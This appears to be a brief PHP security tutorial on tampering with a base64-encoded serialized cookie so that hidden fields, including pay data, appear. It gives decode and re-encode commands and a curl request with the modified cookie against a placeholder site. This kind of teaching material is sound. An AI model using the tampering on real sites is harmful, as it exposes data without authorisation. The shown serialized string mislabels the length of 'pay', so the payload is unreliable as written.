PHP Security

Decode the cookie for unserialize() flaw

View the cookies from the sample web application using your browser’s built-in "developer tools". For instance, opening up your developer console, you can enter document.cookie.

We are interested in the value set for the applicable cookie, which determines which fields to display.

Our "columns" cookie has the following encoded value:

YTo1OntzOjQ6Im5hbWUiO2I6MTtzOjU6ImVtYWlsIjtiOjA7czo1OiJwaG9uZSI7YjowO3M6ODoic3VtbWFyeSI7YjoxO3M6NjoicGF5IjtiOjA7fTc%3D

we see a string ending with %3D or = there is a high chance it is encoded in Base64.

To decode this string, enter the following in your Terminal:

echo "YTo1OntzOjQ6Im5hbWUiO2I6MTtzOjU6ImVtYWlsIjtiOjA7czo1OiJwaG9uZSI7YjowO3M6ODoic3VtbWFyeSI7YjoxO3M6NjoicGF5IjtiOjA7fTc%3D" | base64 -d

Decoded, we can see that this is serialized data. It says: an array of five elements, each element having as the index the column name and the value a boolean flag. We could expand this into an array that looks something like:

Array
(
    [name] => 1
    [email] => 0
    [phone] => 0
    [summary] => 1
    [pay] => 0
)

The boolean 1 or 0 values determine which fields are shown to the user. Optionally see this article for more details on this serialized data structure.

We can modify the serialized string to show all the columns by changing the b:0 entries to b:1, re-encoding it in Base64, and replacing the value of the cookie. For instance, the following line at the Terminal will display a Base64-encoded string representing our serialized data where all the array values are "on":

echo -n 'a:5:{s:4:"name";b:1;s:5:"email";b:1;s:5:"phone";b:1;s:8:"summary";b:1;s:6:"pay";b:1;}' | base64 -w0

We're now going to tamper with the existing cookie to use this value instead. This can be done using a browser extensions and dedicated tools like BurpSuite, CyberChef, Postman, or even a web proxy. In this case, we can also just use curl at the Terminal by passing the -b option:

curl -H 'Origin: https://example.site' -X POST https://example.site -b "columns=YOUR_COOKIE_VALUE"

Replace "YOUR_COOKIE_VALUE" with your modified Base64-encoded string, through to the ending = sign, as created in the command above.

This can be used to prove that, on the server side, an unserialize() function call was made to fetch the sensitive backend data.

Last updated